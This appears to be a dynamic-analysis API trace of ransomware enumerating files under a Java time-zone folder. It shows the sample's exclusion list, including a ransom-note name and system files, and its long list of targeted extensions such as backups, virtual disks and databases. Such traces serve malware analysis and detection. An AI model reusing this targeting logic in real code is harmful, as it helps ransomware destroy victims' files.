	[0054.950] lstrlenW (lpString="odb") returned 3
	[0054.950] lstrcmpiW (lpString1="sia", lpString2="odb") returned 1
	[0054.950] lstrlenW (lpString="oqy") returned 3
	[0054.950] lstrcmpiW (lpString1="sia", lpString2="oqy") returned 1
	[0054.950] lstrlenW (lpString="ora") returned 3
	[0054.950] lstrcmpiW (lpString1="sia", lpString2="ora") returned 1
	[0054.950] lstrlenW (lpString="orx") returned 3
	[0054.950] lstrcmpiW (lpString1="sia", lpString2="orx") returned 1
	[0054.950] lstrlenW (lpString="owc") returned 3
	[0054.950] lstrcmpiW (lpString1="sia", lpString2="owc") returned 1
	[0054.950] lstrlenW (lpString="p96") returned 3
	[0054.950] lstrcmpiW (lpString1="sia", lpString2="p96") returned 1
	[0054.950] lstrlenW (lpString="p97") returned 3
	[0054.950] lstrcmpiW (lpString1="sia", lpString2="p97") returned 1
	[0054.950] lstrlenW (lpString="pan") returned 3
	[0054.950] lstrcmpiW (lpString1="sia", lpString2="pan") returned 1
	[0054.950] lstrlenW (lpString="pdb") returned 3
	[0054.950] lstrcmpiW (lpString1="sia", lpString2="pdb") returned 1
	[0054.950] lstrlenW (lpString="pdm") returned 3
	[0054.950] lstrcmpiW (lpString1="sia", lpString2="pdm") returned 1
	[0054.950] lstrlenW (lpString="pnz") returned 3
	[0054.950] lstrcmpiW (lpString1="sia", lpString2="pnz") returned 1
	[0054.950] lstrlenW (lpString="qry") returned 3
	[0054.950] lstrcmpiW (lpString1="sia", lpString2="qry") returned 1
	[0054.950] lstrlenW (lpString="qvd") returned 3
	[0054.950] lstrcmpiW (lpString1="sia", lpString2="qvd") returned 1
	[0054.950] lstrlenW (lpString="rbf") returned 3
	[0054.950] lstrcmpiW (lpString1="sia", lpString2="rbf") returned 1
	[0054.950] lstrlenW (lpString="rctd") returned 4
	[0054.951] lstrcmpiW (lpString1="osia", lpString2="rctd") returned -1
	[0054.951] lstrlenW (lpString="rod") returned 3
	[0054.951] lstrcmpiW (lpString1="sia", lpString2="rod") returned 1
	[0054.951] lstrlenW (lpString="rodx") returned 4
	[0054.951] lstrcmpiW (lpString1="osia", lpString2="rodx") returned -1
	[0054.951] lstrlenW (lpString="rpd") returned 3
	[0054.951] lstrcmpiW (lpString1="sia", lpString2="rpd") returned 1
	[0054.951] lstrlenW (lpString="rsd") returned 3
	[0054.951] lstrcmpiW (lpString1="sia", lpString2="rsd") returned 1
	[0054.951] lstrlenW (lpString="sas7bdat") returned 8
	[0054.951] lstrlenW (lpString="sbf") returned 3
	[0054.951] lstrcmpiW (lpString1="sia", lpString2="sbf") returned 1
	[0054.951] lstrlenW (lpString="scx") returned 3
	[0054.951] lstrcmpiW (lpString1="sia", lpString2="scx") returned 1
	[0054.951] lstrlenW (lpString="sdb") returned 3
	[0054.951] lstrcmpiW (lpString1="sia", lpString2="sdb") returned 1
	[0054.951] lstrlenW (lpString="sdc") returned 3
	[0054.951] lstrcmpiW (lpString1="sia", lpString2="sdc") returned 1
	[0054.951] lstrlenW (lpString="sdf") returned 3
	[0054.951] lstrcmpiW (lpString1="sia", lpString2="sdf") returned 1
	[0054.951] lstrlenW (lpString="sis") returned 3
	[0054.951] lstrcmpiW (lpString1="sia", lpString2="sis") returned -1
	[0054.951] lstrlenW (lpString="spq") returned 3
	[0054.951] lstrcmpiW (lpString1="sia", lpString2="spq") returned -1
	[0054.951] lstrlenW (lpString="te") returned 2
	[0054.951] lstrcmpiW (lpString1="ia", lpString2="te") returned -1
	[0054.951] lstrlenW (lpString="teacher") returned 7
	[0054.951] lstrlenW (lpString="tmd") returned 3
	[0054.951] lstrcmpiW (lpString1="sia", lpString2="tmd") returned -1
	[0054.951] lstrlenW (lpString="tps") returned 3
	[0054.951] lstrcmpiW (lpString1="sia", lpString2="tps") returned -1
	[0054.951] lstrlenW (lpString="trc") returned 3
	[0054.951] lstrcmpiW (lpString1="sia", lpString2="trc") returned -1
	[0054.951] lstrlenW (lpString="trc") returned 3
	[0054.951] lstrcmpiW (lpString1="sia", lpString2="trc") returned -1
	[0054.952] lstrlenW (lpString="trm") returned 3
	[0054.952] lstrcmpiW (lpString1="sia", lpString2="trm") returned -1
	[0054.952] lstrlenW (lpString="udb") returned 3
	[0054.952] lstrcmpiW (lpString1="sia", lpString2="udb") returned -1
	[0054.952] lstrlenW (lpString="udl") returned 3
	[0054.952] lstrcmpiW (lpString1="sia", lpString2="udl") returned -1
	[0054.952] lstrlenW (lpString="usr") returned 3
	[0054.952] lstrcmpiW (lpString1="sia", lpString2="usr") returned -1
	[0054.952] lstrlenW (lpString="v12") returned 3
	[0054.952] lstrcmpiW (lpString1="sia", lpString2="v12") returned -1
	[0054.952] lstrlenW (lpString="vis") returned 3
	[0054.952] lstrcmpiW (lpString1="sia", lpString2="vis") returned -1
	[0054.952] lstrlenW (lpString="vpd") returned 3
	[0054.952] lstrcmpiW (lpString1="sia", lpString2="vpd") returned -1
	[0054.952] lstrlenW (lpString="vvv") returned 3
	[0054.952] lstrcmpiW (lpString1="sia", lpString2="vvv") returned -1
	[0054.952] lstrlenW (lpString="wdb") returned 3
	[0054.952] lstrcmpiW (lpString1="sia", lpString2="wdb") returned -1
	[0054.952] lstrlenW (lpString="wmdb") returned 4
	[0054.952] lstrcmpiW (lpString1="osia", lpString2="wmdb") returned -1
	[0054.952] lstrlenW (lpString="wrk") returned 3
	[0054.952] lstrcmpiW (lpString1="sia", lpString2="wrk") returned -1
	[0054.952] lstrlenW (lpString="xdb") returned 3
	[0054.952] lstrcmpiW (lpString1="sia", lpString2="xdb") returned -1
	[0054.952] lstrlenW (lpString="xld") returned 3
	[0054.952] lstrcmpiW (lpString1="sia", lpString2="xld") returned -1
	[0054.952] lstrlenW (lpString="xmlff") returned 5
	[0054.952] lstrcmpiW (lpString1="cosia", lpString2="xmlff") returned -1
	[0054.952] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Novokuznetsk", cAlternateFileName="NOVOKU~1")) returned 1
	[0054.952] lstrcmpiW (lpString1="Novokuznetsk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.952] lstrcmpiW (lpString1="Novokuznetsk", lpString2="Apollon865.txt.exe") returned 1
	[0054.952] lstrcmpiW (lpString1="Novokuznetsk", lpString2=".") returned 1
	[0054.952] lstrcmpiW (lpString1="Novokuznetsk", lpString2="..") returned 1
	[0054.952] lstrcmpiW (lpString1="Novokuznetsk", lpString2="windows") returned -1
	[0054.953] lstrcmpiW (lpString1="Novokuznetsk", lpString2="bootmgr") returned 1
	[0054.953] lstrcmpiW (lpString1="Novokuznetsk", lpString2="temp") returned -1
	[0054.953] lstrcmpiW (lpString1="Novokuznetsk", lpString2="pagefile.sys") returned -1
	[0054.953] lstrcmpiW (lpString1="Novokuznetsk", lpString2="boot") returned 1
	[0054.953] lstrcmpiW (lpString1="Novokuznetsk", lpString2="ids.txt") returned 1
	[0054.953] lstrcmpiW (lpString1="Novokuznetsk", lpString2="ntuser.dat") returned -1
	[0054.953] lstrcmpiW (lpString1="Novokuznetsk", lpString2="perflogs") returned -1
	[0054.953] lstrcmpiW (lpString1="Novokuznetsk", lpString2="MSBuild") returned 1
	[0054.953] lstrlenW (lpString="Novokuznetsk") returned 12
	[0054.953] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Nicosia") returned 52
	[0054.953] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Novokuznetsk" | out: lpString1="Novokuznetsk") returned="Novokuznetsk"
	[0054.953] lstrlenW (lpString="Novokuznetsk") returned 12
	[0054.953] lstrlenW (lpString="Apollon865") returned 10
	[0054.953] lstrcmpiW (lpString1="vokuznetsk", lpString2="Apollon865") returned 1
	[0054.953] lstrlenW (lpString=".dll") returned 4
	[0054.953] lstrcmpiW (lpString1="Novokuznetsk", lpString2=".dll") returned 1
	[0054.953] lstrlenW (lpString=".lnk") returned 4
	[0054.953] lstrcmpiW (lpString1="Novokuznetsk", lpString2=".lnk") returned 1
	[0054.953] lstrlenW (lpString=".ini") returned 4
	[0054.953] lstrcmpiW (lpString1="Novokuznetsk", lpString2=".ini") returned 1
	[0054.953] lstrlenW (lpString=".sys") returned 4
	[0054.953] lstrcmpiW (lpString1="Novokuznetsk", lpString2=".sys") returned 1
	[0054.953] lstrlenW (lpString="Novokuznetsk") returned 12
	[0054.953] lstrlenW (lpString="bak") returned 3
	[0054.953] lstrcmpiW (lpString1="tsk", lpString2="bak") returned 1
	[0054.953] lstrlenW (lpString="ba_") returned 3
	[0054.953] lstrcmpiW (lpString1="tsk", lpString2="ba_") returned 1
	[0054.953] lstrlenW (lpString="dbb") returned 3
	[0054.953] lstrcmpiW (lpString1="tsk", lpString2="dbb") returned 1
	[0054.953] lstrlenW (lpString="vmdk") returned 4
	[0054.953] lstrcmpiW (lpString1="etsk", lpString2="vmdk") returned -1
	[0054.953] lstrlenW (lpString="rar") returned 3
	[0054.953] lstrcmpiW (lpString1="tsk", lpString2="rar") returned 1
	[0054.954] lstrlenW (lpString="zip") returned 3
	[0054.954] lstrcmpiW (lpString1="tsk", lpString2="zip") returned -1
	[0054.954] lstrlenW (lpString="tgz") returned 3
	[0054.954] lstrcmpiW (lpString1="tsk", lpString2="tgz") returned 1
	[0054.954] lstrlenW (lpString="vbox") returned 4
	[0054.954] lstrcmpiW (lpString1="etsk", lpString2="vbox") returned -1
	[0054.954] lstrlenW (lpString="vdi") returned 3
	[0054.954] lstrcmpiW (lpString1="tsk", lpString2="vdi") returned -1
	[0054.954] lstrlenW (lpString="vhd") returned 3
	[0054.954] lstrcmpiW (lpString1="tsk", lpString2="vhd") returned -1
	[0054.954] lstrlenW (lpString="vhdx") returned 4
	[0054.954] lstrcmpiW (lpString1="etsk", lpString2="vhdx") returned -1
	[0054.954] lstrlenW (lpString="avhd") returned 4
	[0054.954] lstrcmpiW (lpString1="etsk", lpString2="avhd") returned 1
	[0054.954] lstrlenW (lpString="db") returned 2
	[0054.954] lstrcmpiW (lpString1="sk", lpString2="db") returned 1
	[0054.954] lstrlenW (lpString="db2") returned 3
	[0054.954] lstrcmpiW (lpString1="tsk", lpString2="db2") returned 1
	[0054.954] lstrlenW (lpString="db3") returned 3
	[0054.954] lstrcmpiW (lpString1="tsk", lpString2="db3") returned 1
	[0054.954] lstrlenW (lpString="dbf") returned 3
	[0054.954] lstrcmpiW (lpString1="tsk", lpString2="dbf") returned 1
	[0054.954] lstrlenW (lpString="mdf") returned 3
	[0054.954] lstrcmpiW (lpString1="tsk", lpString2="mdf") returned 1
	[0054.954] lstrlenW (lpString="mdb") returned 3
	[0054.954] lstrcmpiW (lpString1="tsk", lpString2="mdb") returned 1
	[0054.954] lstrlenW (lpString="sql") returned 3
	[0054.954] lstrcmpiW (lpString1="tsk", lpString2="sql") returned 1
	[0054.954] lstrlenW (lpString="sqlite") returned 6
	[0054.954] lstrcmpiW (lpString1="znetsk", lpString2="sqlite") returned 1
	[0054.954] lstrlenW (lpString="sqlite3") returned 7
	[0054.954] lstrcmpiW (lpString1="uznetsk", lpString2="sqlite3") returned 1
	[0054.954] lstrlenW (lpString="sqlitedb") returned 8
	[0054.954] lstrcmpiW (lpString1="kuznetsk", lpString2="sqlitedb") returned -1
	[0054.955] lstrlenW (lpString="xml") returned 3
	[0054.955] lstrcmpiW (lpString1="tsk", lpString2="xml") returned -1
	[0054.955] lstrlenW (lpString="$er") returned 3
	[0054.955] lstrcmpiW (lpString1="tsk", lpString2="$er") returned 1
	[0054.955] lstrlenW (lpString="4dd") returned 3
	[0054.955] lstrcmpiW (lpString1="tsk", lpString2="4dd") returned 1
	[0054.955] lstrlenW (lpString="4dl") returned 3
	[0054.955] lstrcmpiW (lpString1="tsk", lpString2="4dl") returned 1
	[0054.955] lstrlenW (lpString="^^^") returned 3
	[0054.955] lstrcmpiW (lpString1="tsk", lpString2="^^^") returned 1
	[0054.955] lstrlenW (lpString="abs") returned 3
	[0054.955] lstrcmpiW (lpString1="tsk", lpString2="abs") returned 1
	[0054.955] lstrlenW (lpString="abx") returned 3
	[0054.955] lstrcmpiW (lpString1="tsk", lpString2="abx") returned 1
	[0054.955] lstrlenW (lpString="accdb") returned 5
	[0054.955] lstrcmpiW (lpString1="netsk", lpString2="accdb") returned 1
	[0054.955] lstrlenW (lpString="accdc") returned 5
	[0054.955] lstrcmpiW (lpString1="netsk", lpString2="accdc") returned 1
	[0054.955] lstrlenW (lpString="accde") returned 5
	[0054.955] lstrcmpiW (lpString1="netsk", lpString2="accde") returned 1
	[0054.955] lstrlenW (lpString="accdr") returned 5
	[0054.955] lstrcmpiW (lpString1="netsk", lpString2="accdr") returned 1
	[0054.955] lstrlenW (lpString="accdt") returned 5
	[0054.955] lstrcmpiW (lpString1="netsk", lpString2="accdt") returned 1
	[0054.955] lstrlenW (lpString="accdw") returned 5
	[0054.955] lstrcmpiW (lpString1="netsk", lpString2="accdw") returned 1
	[0054.955] lstrlenW (lpString="accft") returned 5
	[0054.955] lstrcmpiW (lpString1="netsk", lpString2="accft") returned 1
	[0054.955] lstrlenW (lpString="adb") returned 3
	[0054.955] lstrcmpiW (lpString1="tsk", lpString2="adb") returned 1
	[0054.955] lstrlenW (lpString="adb") returned 3
	[0054.955] lstrcmpiW (lpString1="tsk", lpString2="adb") returned 1
	[0054.955] lstrlenW (lpString="ade") returned 3
	[0054.955] lstrcmpiW (lpString1="tsk", lpString2="ade") returned 1
	[0054.955] lstrlenW (lpString="adf") returned 3
	[0054.956] lstrcmpiW (lpString1="tsk", lpString2="adf") returned 1
	[0054.956] lstrlenW (lpString="adn") returned 3
	[0054.956] lstrcmpiW (lpString1="tsk", lpString2="adn") returned 1
	[0054.956] lstrlenW (lpString="adp") returned 3
	[0054.956] lstrcmpiW (lpString1="tsk", lpString2="adp") returned 1
	[0054.956] lstrlenW (lpString="alf") returned 3
	[0054.956] lstrcmpiW (lpString1="tsk", lpString2="alf") returned 1
	[0054.956] lstrlenW (lpString="ask") returned 3
	[0054.956] lstrcmpiW (lpString1="tsk", lpString2="ask") returned 1
	[0054.956] lstrlenW (lpString="btr") returned 3
	[0054.956] lstrcmpiW (lpString1="tsk", lpString2="btr") returned 1
	[0054.956] lstrlenW (lpString="cat") returned 3
	[0054.956] lstrcmpiW (lpString1="tsk", lpString2="cat") returned 1
	[0054.956] lstrlenW (lpString="cdb") returned 3
	[0054.956] lstrcmpiW (lpString1="tsk", lpString2="cdb") returned 1
	[0054.956] lstrlenW (lpString="ckp") returned 3
	[0054.956] lstrcmpiW (lpString1="tsk", lpString2="ckp") returned 1
	[0054.956] lstrlenW (lpString="cma") returned 3
	[0054.956] lstrcmpiW (lpString1="tsk", lpString2="cma") returned 1
	[0054.956] lstrlenW (lpString="cpd") returned 3
	[0054.956] lstrcmpiW (lpString1="tsk", lpString2="cpd") returned 1
	[0054.956] lstrlenW (lpString="dacpac") returned 6
	[0054.956] lstrcmpiW (lpString1="znetsk", lpString2="dacpac") returned 1
	[0054.956] lstrlenW (lpString="dad") returned 3
	[0054.956] lstrcmpiW (lpString1="tsk", lpString2="dad") returned 1
	[0054.956] lstrlenW (lpString="dadiagrams") returned 10
	[0054.956] lstrcmpiW (lpString1="vokuznetsk", lpString2="dadiagrams") returned 1
	[0054.956] lstrlenW (lpString="daschema") returned 8
	[0054.956] lstrcmpiW (lpString1="kuznetsk", lpString2="daschema") returned 1
	[0054.956] lstrlenW (lpString="db-journal") returned 10
	[0054.956] lstrcmpiW (lpString1="vokuznetsk", lpString2="db-journal") returned 1
	[0054.956] lstrlenW (lpString="db-shm") returned 6
	[0054.956] lstrcmpiW (lpString1="znetsk", lpString2="db-shm") returned 1
	[0054.956] lstrlenW (lpString="db-wal") returned 6
	[0054.957] lstrcmpiW (lpString1="znetsk", lpString2="db-wal") returned 1
	[0054.957] lstrlenW (lpString="dbc") returned 3
	[0054.957] lstrcmpiW (lpString1="tsk", lpString2="dbc") returned 1
	[0054.957] lstrlenW (lpString="dbs") returned 3
	[0054.957] lstrcmpiW (lpString1="tsk", lpString2="dbs") returned 1
	[0054.957] lstrlenW (lpString="dbt") returned 3
	[0054.957] lstrcmpiW (lpString1="tsk", lpString2="dbt") returned 1
	[0054.957] lstrlenW (lpString="dbv") returned 3
	[0054.957] lstrcmpiW (lpString1="tsk", lpString2="dbv") returned 1
	[0054.957] lstrlenW (lpString="dbx") returned 3
	[0054.957] lstrcmpiW (lpString1="tsk", lpString2="dbx") returned 1
	[0054.957] lstrlenW (lpString="dcb") returned 3
	[0054.957] lstrcmpiW (lpString1="tsk", lpString2="dcb") returned 1
	[0054.957] lstrcmpiW (lpString1="tsk", lpString2="dct") returned 1
	[0054.957] lstrcmpiW (lpString1="tsk", lpString2="dcx") returned 1
	[0054.957] lstrcmpiW (lpString1="tsk", lpString2="ddl") returned 1
	[0054.957] lstrcmpiW (lpString1="etsk", lpString2="dlis") returned 1
	[0054.957] lstrcmpiW (lpString1="tsk", lpString2="dp1") returned 1
	[0054.957] lstrcmpiW (lpString1="tsk", lpString2="dqy") returned 1
	[0054.957] lstrcmpiW (lpString1="tsk", lpString2="dsk") returned 1
	[0054.957] lstrcmpiW (lpString1="tsk", lpString2="dsn") returned 1
	[0054.957] lstrcmpiW (lpString1="etsk", lpString2="dtsx") returned 1
	[0054.957] lstrcmpiW (lpString1="tsk", lpString2="dxl") returned 1
	[0054.958] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Novosibirsk" | out: lpString1="Novosibirsk") returned="Novosibirsk"
	[0054.958] lstrlenW (lpString="Novosibirsk") returned 11
	[0054.958] lstrlenW (lpString="Apollon865") returned 10
	[0054.958] lstrcmpiW (lpString1="ovosibirsk", lpString2="Apollon865") returned 1
	[0054.958] lstrlenW (lpString=".dll") returned 4
	[0054.958] lstrcmpiW (lpString1="Novosibirsk", lpString2=".dll") returned 1
	[0054.958] lstrlenW (lpString=".lnk") returned 4
	[0054.958] lstrcmpiW (lpString1="Novosibirsk", lpString2=".lnk") returned 1
	[0054.958] lstrlenW (lpString=".ini") returned 4
	[0054.958] lstrcmpiW (lpString1="Novosibirsk", lpString2=".ini") returned 1
	[0054.958] lstrlenW (lpString=".sys") returned 4
	[0054.958] lstrcmpiW (lpString1="Novosibirsk", lpString2=".sys") returned 1
	[0054.958] lstrlenW (lpString="Novosibirsk") returned 11
	[0054.958] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Omsk" | out: lpString1="Omsk") returned="Omsk"
	[0054.958] lstrlenW (lpString="Omsk") returned 4
	[0054.958] lstrlenW (lpString="Apollon865") returned 10
	[0054.958] lstrlenW (lpString=".dll") returned 4
	[0054.958] lstrlenW (lpString=".lnk") returned 4
	[0054.958] lstrlenW (lpString=".ini") returned 4
	[0054.958] lstrlenW (lpString=".sys") returned 4
	[0054.958] lstrlenW (lpString="Omsk") returned 4
	[0054.958] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Oral" | out: lpString1="Oral") returned="Oral"
	[0054.958] lstrlenW (lpString="Oral") returned 4
	[0054.958] lstrlenW (lpString="Apollon865") returned 10
	[0054.958] lstrlenW (lpString=".dll") returned 4
	[0054.958] lstrlenW (lpString=".lnk") returned 4
	[0054.958] lstrlenW (lpString=".ini") returned 4
	[0054.958] lstrlenW (lpString=".sys") returned 4
	[0054.958] lstrlenW (lpString="Oral") returned 4
	[0054.959] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Phnom_Penh" | out: lpString1="Phnom_Penh") returned="Phnom_Penh"
	[0054.959] lstrlenW (lpString="Phnom_Penh") returned 10
	[0054.959] lstrlenW (lpString="Apollon865") returned 10
	[0054.959] lstrlenW (lpString=".dll") returned 4
	[0054.959] lstrcmpiW (lpString1="Phnom_Penh", lpString2=".dll") returned 1
	[0054.959] lstrlenW (lpString=".lnk") returned 4
	[0054.959] lstrcmpiW (lpString1="Phnom_Penh", lpString2=".lnk") returned 1
	[0054.959] lstrlenW (lpString=".ini") returned 4
	[0054.959] lstrcmpiW (lpString1="Phnom_Penh", lpString2=".ini") returned 1
	[0054.959] lstrlenW (lpString=".sys") returned 4
	[0054.959] lstrcmpiW (lpString1="Phnom_Penh", lpString2=".sys") returned 1
	[0054.959] lstrlenW (lpString="Phnom_Penh") returned 10
	[0054.959] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Pontianak" | out: lpString1="Pontianak") returned="Pontianak"
	[0054.959] lstrlenW (lpString="Pontianak") returned 9
	[0054.959] lstrlenW (lpString="Apollon865") returned 10
	[0054.959] lstrlenW (lpString=".dll") returned 4
	[0054.959] lstrcmpiW (lpString1="Pontianak", lpString2=".dll") returned 1
	[0054.959] lstrlenW (lpString=".lnk") returned 4
	[0054.959] lstrcmpiW (lpString1="Pontianak", lpString2=".lnk") returned 1
	[0054.959] lstrlenW (lpString=".ini") returned 4
	[0054.959] lstrcmpiW (lpString1="Pontianak", lpString2=".ini") returned 1
	[0054.959] lstrlenW (lpString=".sys") returned 4
	[0054.959] lstrcmpiW (lpString1="Pontianak", lpString2=".sys") returned 1
	[0054.959] lstrlenW (lpString="Pontianak") returned 9
	[0054.960] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Pyongyang" | out: lpString1="Pyongyang") returned="Pyongyang"
	[0054.960] lstrlenW (lpString="Pyongyang") returned 9
	[0054.960] lstrlenW (lpString="Apollon865") returned 10
	[0054.960] lstrlenW (lpString=".dll") returned 4
	[0054.960] lstrcmpiW (lpString1="Pyongyang", lpString2=".dll") returned 1
	[0054.960] lstrlenW (lpString=".lnk") returned 4
	[0054.960] lstrcmpiW (lpString1="Pyongyang", lpString2=".lnk") returned 1
	[0054.960] lstrlenW (lpString=".ini") returned 4
	[0054.960] lstrcmpiW (lpString1="Pyongyang", lpString2=".ini") returned 1
	[0054.960] lstrlenW (lpString=".sys") returned 4
	[0054.960] lstrcmpiW (lpString1="Pyongyang", lpString2=".sys") returned 1
	[0054.960] lstrlenW (lpString="Pyongyang") returned 9
	[0054.960] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Qatar" | out: lpString1="Qatar") returned="Qatar"
	[0054.960] lstrlenW (lpString="Qatar") returned 5
	[0054.960] lstrlenW (lpString="Apollon865") returned 10
	[0054.960] lstrlenW (lpString=".dll") returned 4
	[0054.960] lstrcmpiW (lpString1="Qatar", lpString2=".dll") returned 1
	[0054.960] lstrlenW (lpString=".lnk") returned 4
	[0054.960] lstrcmpiW (lpString1="Qatar", lpString2=".lnk") returned 1
	[0054.960] lstrlenW (lpString=".ini") returned 4
	[0054.960] lstrcmpiW (lpString1="Qatar", lpString2=".ini") returned 1
	[0054.960] lstrlenW (lpString=".sys") returned 4
	[0054.960] lstrcmpiW (lpString1="Qatar", lpString2=".sys") returned 1
	[0054.960] lstrlenW (lpString="Qatar") returned 5
	[0054.960] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Qyzylorda" | out: lpString1="Qyzylorda") returned="Qyzylorda"
	[0054.960] lstrlenW (lpString="Qyzylorda") returned 9
	[0054.960] lstrlenW (lpString="Apollon865") returned 10
	[0054.960] lstrlenW (lpString=".dll") returned 4
	[0054.960] lstrcmpiW (lpString1="Qyzylorda", lpString2=".dll") returned 1
	[0054.960] lstrlenW (lpString=".lnk") returned 4
	[0054.961] lstrcmpiW (lpString1="Qyzylorda", lpString2=".lnk") returned 1
	[0054.961] lstrlenW (lpString=".ini") returned 4
	[0054.961] lstrcmpiW (lpString1="Qyzylorda", lpString2=".ini") returned 1
	[0054.961] lstrlenW (lpString=".sys") returned 4
	[0054.961] lstrcmpiW (lpString1="Qyzylorda", lpString2=".sys") returned 1
	[0054.961] lstrlenW (lpString="Qyzylorda") returned 9
	[0054.961] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Rangoon" | out: lpString1="Rangoon") returned="Rangoon"
	[0054.961] lstrlenW (lpString="Rangoon") returned 7
	[0054.961] lstrlenW (lpString="Apollon865") returned 10
	[0054.961] lstrlenW (lpString=".dll") returned 4
	[0054.961] lstrcmpiW (lpString1="Rangoon", lpString2=".dll") returned 1
	[0054.961] lstrlenW (lpString=".lnk") returned 4
	[0054.961] lstrcmpiW (lpString1="Rangoon", lpString2=".lnk") returned 1
	[0054.961] lstrlenW (lpString=".ini") returned 4
	[0054.961] lstrcmpiW (lpString1="Rangoon", lpString2=".ini") returned 1
	[0054.961] lstrlenW (lpString=".sys") returned 4
	[0054.961] lstrcmpiW (lpString1="Rangoon", lpString2=".sys") returned 1
	[0054.961] lstrlenW (lpString="Rangoon") returned 7
	[0054.961] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Riyadh" | out: lpString1="Riyadh") returned="Riyadh"
	[0054.961] lstrlenW (lpString="Riyadh") returned 6
	[0054.961] lstrlenW (lpString="Apollon865") returned 10
	[0054.961] lstrlenW (lpString=".dll") returned 4
	[0054.961] lstrcmpiW (lpString1="Riyadh", lpString2=".dll") returned 1
	[0054.961] lstrlenW (lpString=".lnk") returned 4
	[0054.961] lstrcmpiW (lpString1="Riyadh", lpString2=".lnk") returned 1
	[0054.961] lstrlenW (lpString=".ini") returned 4
	[0054.961] lstrcmpiW (lpString1="Riyadh", lpString2=".ini") returned 1
	[0054.961] lstrlenW (lpString=".sys") returned 4
	[0054.961] lstrcmpiW (lpString1="Riyadh", lpString2=".sys") returned 1
	[0054.961] lstrlenW (lpString="Riyadh") returned 6
	[0054.962] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Riyadh87" | out: lpString1="Riyadh87") returned="Riyadh87"
	[0054.962] lstrlenW (lpString="Riyadh87") returned 8
	[0054.962] lstrlenW (lpString="Apollon865") returned 10
	[0054.962] lstrlenW (lpString=".dll") returned 4
	[0054.962] lstrcmpiW (lpString1="Riyadh87", lpString2=".dll") returned 1
	[0054.962] lstrlenW (lpString=".lnk") returned 4
	[0054.962] lstrcmpiW (lpString1="Riyadh87", lpString2=".lnk") returned 1
	[0054.962] lstrlenW (lpString=".ini") returned 4
	[0054.962] lstrcmpiW (lpString1="Riyadh87", lpString2=".ini") returned 1
	[0054.962] lstrlenW (lpString=".sys") returned 4
	[0054.962] lstrcmpiW (lpString1="Riyadh87", lpString2=".sys") returned 1
	[0054.962] lstrlenW (lpString="Riyadh87") returned 8
	[0054.962] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Riyadh88" | out: lpString1="Riyadh88") returned="Riyadh88"
	[0054.962] lstrlenW (lpString="Riyadh88") returned 8
	[0054.962] lstrlenW (lpString="Apollon865") returned 10
	[0054.962] lstrlenW (lpString=".dll") returned 4
	[0054.962] lstrcmpiW (lpString1="Riyadh88", lpString2=".dll") returned 1
	[0054.962] lstrlenW (lpString=".lnk") returned 4
	[0054.962] lstrcmpiW (lpString1="Riyadh88", lpString2=".lnk") returned 1
	[0054.962] lstrlenW (lpString=".ini") returned 4
	[0054.962] lstrcmpiW (lpString1="Riyadh88", lpString2=".ini") returned 1
	[0054.962] lstrlenW (lpString=".sys") returned 4
	[0054.962] lstrcmpiW (lpString1="Riyadh88", lpString2=".sys") returned 1
	[0054.962] lstrlenW (lpString="Riyadh88") returned 8
	[0054.962] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Riyadh89" | out: lpString1="Riyadh89") returned="Riyadh89"
	[0054.962] lstrlenW (lpString="Riyadh89") returned 8
	[0054.962] lstrlenW (lpString="Apollon865") returned 10
	[0054.962] lstrlenW (lpString=".dll") returned 4
	[0054.962] lstrcmpiW (lpString1="Riyadh89", lpString2=".dll") returned 1
	[0054.962] lstrlenW (lpString=".lnk") returned 4
	[0054.962] lstrcmpiW (lpString1="Riyadh89", lpString2=".lnk") returned 1
	[0054.962] lstrlenW (lpString=".ini") returned 4
	[0054.962] lstrcmpiW (lpString1="Riyadh89", lpString2=".ini") returned 1
	[0054.963] lstrlenW (lpString=".sys") returned 4
	[0054.963] lstrcmpiW (lpString1="Riyadh89", lpString2=".sys") returned 1
	[0054.963] lstrlenW (lpString="Riyadh89") returned 8
	[0054.963] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Sakhalin" | out: lpString1="Sakhalin") returned="Sakhalin"
	[0054.963] lstrlenW (lpString="Sakhalin") returned 8
	[0054.963] lstrlenW (lpString="Apollon865") returned 10
	[0054.963] lstrlenW (lpString=".dll") returned 4
	[0054.963] lstrcmpiW (lpString1="Sakhalin", lpString2=".dll") returned 1
	[0054.963] lstrlenW (lpString=".lnk") returned 4
	[0054.963] lstrcmpiW (lpString1="Sakhalin", lpString2=".lnk") returned 1
	[0054.963] lstrlenW (lpString=".ini") returned 4
	[0054.963] lstrcmpiW (lpString1="Sakhalin", lpString2=".ini") returned 1
	[0054.963] lstrlenW (lpString=".sys") returned 4
	[0054.963] lstrcmpiW (lpString1="Sakhalin", lpString2=".sys") returned 1
	[0054.963] lstrlenW (lpString="Sakhalin") returned 8
	[0054.963] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Samarkand" | out: lpString1="Samarkand") returned="Samarkand"
	[0054.963] lstrlenW (lpString="Samarkand") returned 9
	[0054.963] lstrlenW (lpString="Apollon865") returned 10
	[0054.963] lstrlenW (lpString=".dll") returned 4
	[0054.963] lstrcmpiW (lpString1="Samarkand", lpString2=".dll") returned 1
